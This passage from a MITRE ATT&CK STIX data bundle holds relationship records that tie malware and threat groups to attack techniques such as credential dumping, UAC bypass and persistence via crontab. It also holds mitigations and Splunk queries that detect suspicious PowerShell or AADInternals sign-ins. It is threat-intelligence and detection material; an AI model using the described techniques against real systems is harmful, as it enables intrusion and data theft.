2021)","modified":"2022-04-14T14:56:17.735Z","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7cd3903-1b6d-4163-b7cf-97dbdeefda05","type":"relationship","created":"2019-06-20T15:44:46.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:34.483Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7d36798-e9f2-4474-836e-80b100a561e6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.368Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used C:\\Windows\\Debug and C:\\Perflogs as staging directories.(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7d44225-31cf-4766-b585-debf0ed8d965","created":"2020-07-15T19:18:56.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:28:28.074Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has been delivered via phishing e-mails with malicious attachments.(Citation: Juniper IcedID June 2020)(Citation: DFIR_Sodinokibi_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7d456ea-d533-4d29-b6d4-45586c4a124e","created":"2024-07-02T17:53:40.634Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T17:53:40.634Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can capture environmental variables on compromised hosts.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7dc0db4-b1fb-4235-8b49-0792e7019377","type":"relationship","created":"2020-03-09T13:48:55.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T13:48:55.816Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7dfc429-1f62-4bb1-933f-25dfd4fff9ad","type":"relationship","created":"2019-01-30T13:53:14.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:22.065Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) modifies conditions in the Registry and adds keys.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7e456b1-ed5e-48f0-be6e-df3e7d6b4044","type":"relationship","created":"2020-11-16T19:26:58.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T16:15:38.463Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and passwords.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7e572db-2657-4d7e-aa58-885dc7f32057","created":"2024-05-16T19:57:26.888Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T19:57:26.888Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has conducted extensive reconnaissance pre-compromise to gain information about the targeted organization.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7e97b7e-6ad6-4c11-85cc-c108c6282bb7","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:20:42.603Z","description":"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).\n\nAnalytic 1 - Suspicious actor IPs, unusual user agents (e.g., malware, scripting interpreters like PowerShell, Python), anomalous login times\n\nNote: To detect suspicious logon session creation activities related to remote email collection.\n\n index=\"azure_ad_signin_logs\" Resource=\"Office 365 Exchange Online\" AND (UserAgent=\"PowerShell\" OR UserAgent=\"AADInternals\")\n| stats count by UserAgent, UserID, IPAddress, Location\n| where IPAddress!=\"expected_ip\" OR Location!=\"expected_location\"","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7f0b1ab-3a14-4944-aee0-8abdb24707c6","type":"relationship","created":"2021-03-31T12:48:05.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-26T16:42:35.839Z","description":"Audit images deployed within the environment to ensure they do not contain any malicious components.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7f13afc-0e1c-4142-b05c-def10c17a8d6","type":"relationship","created":"2019-06-18T18:40:33.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-01-29T17:32:00.170Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) has scripts that are responsible for deobfuscating additional scripts.(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7f2b493-8c91-4793-8206-52d302906b2b","type":"relationship","created":"2021-08-26T18:49:41.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-14T20:53:27.319Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has delayed communication to the actor-controlled IP address by 5 minutes.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7f5a141-2db6-4f76-b3d7-bbd665035f84","created":"2022-10-13T14:40:51.237Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:40:51.237Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used `rundll32.exe` to execute malicious installers.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7f73589-4640-468d-8422-04cfc7e7e110","type":"relationship","created":"2020-03-09T14:38:24.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-26T22:49:23.231Z","description":"Denylist Python where not required.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7f887ee-e0e5-4cab-9898-6dfed9b86f31","created":"2023-10-12T15:26:33.430Z","revoked":false,"external_references":[{"source_name":"netlab360 rotajakiro vs oceanlotus","description":"Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T15:26:33.430Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) uses a custom binary protocol using a type, length, value format over TCP.(Citation: netlab360 rotajakiro vs oceanlotus)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7f99597-3cbb-4cc4-a0d5-1d2abd84dbea","type":"relationship","created":"2020-10-01T01:20:53.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:20:53.171Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7fefa27-dcd3-4245-b7c0-6ca85bca5047","created":"2022-08-18T15:39:21.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:22:35.557Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to collect the IP address of an infected host.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8012238-cfd9-4c5b-8759-8d86f0d6f933","created":"2022-07-18T17:59:30.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:25:53.173Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has compromised victims by directly exploiting vulnerabilities of public-facing servers, including those associated with Microsoft Exchange and Oracle GlassFish.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b80516ee-1635-43da-babf-201d9f76c1d8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.267Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) has a command to delete its Registry key and scheduled task.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b8113737-894f-42de-b607-9d4905fcdfc3","created":"2022-08-29T13:59:22.962Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to bypass UAC to deploy post exploitation tools with elevated privileges.(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T14:00:13.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8113c99-fc84-4c2d-8925-cb1f5733f6eb","type":"relationship","created":"2020-02-21T20:22:13.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T23:09:25.381Z","description":"Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with security/logging services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b811da67-8da1-4f2e-aae0-8666093cf95d","created":"2023-07-10T16:38:48.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T13:18:28.876Z","description":"Limit the privileges of cloud accounts to assume, create, or impersonate additional roles, policies, and permissions to only those required. Where just-in-time access is enabled, consider requiring manual approval for temporary elevation of privileges.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8133b35-52b8-4407-9845-a00b6a739cdc","type":"relationship","created":"2019-04-16T17:43:42.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2020-03-25T16:21:36.381Z","description":"[POWERTON](https://attack.mitre.org/software/S0371) has the ability to dump password hashes.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b817a0c2-e93a-4bbd-ad96-b8a820562bc1","type":"relationship","created":"2021-04-08T18:09:42.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-09T14:32:22.155Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used crontab to download and run shell scripts every minute to ensure persistence.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b81d449d-9ebd-4fb8-a77a-bb6bca93581b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.202Z","description":"[yty](https://attack.mitre.org/software/S0248) collects screenshots of the victim machine.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b81e880e-c10e-426b-8570-a5738294c898","created":"2024-08-20T16:07:49.889Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T16:07:49.889Z","description":"Monitor for newly constructed logon behavior that may attempt to enumerate the cloud services running on a system after gaining access. Look for suspicious Applications and accounts authenticating to the Windows Azure Service Management API using User Agents values attributed to scripting utilities such as python or Powershell. \n\nAnalytic 1 - Applications or accounts with unusual User Agents, anomalous IP addresses, unexpected locations, and usernames\n\n index=\"azure_ad_signin_logs\" Resource=\"Windows Azure Service Management API\" AND (UserAgent=\"python\" OR UserAgent=\"PowerShell\")\n| stats count by UserAgent, UserID, IPAddress, Location\n| where IPAddress!=\"expected_ip\" OR Location!=\"expected_location\"the new \n\n","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b82ab6ba-b590-440d-bfd1-75f18560a8b4","created":"2020-07-15T20:33:40.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:33:25.144Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used HTTPS in communications with C2.(Citation: Juniper IcedID June 2020)(Citation: DFIR_Quantum_Ransomware)(Citation: 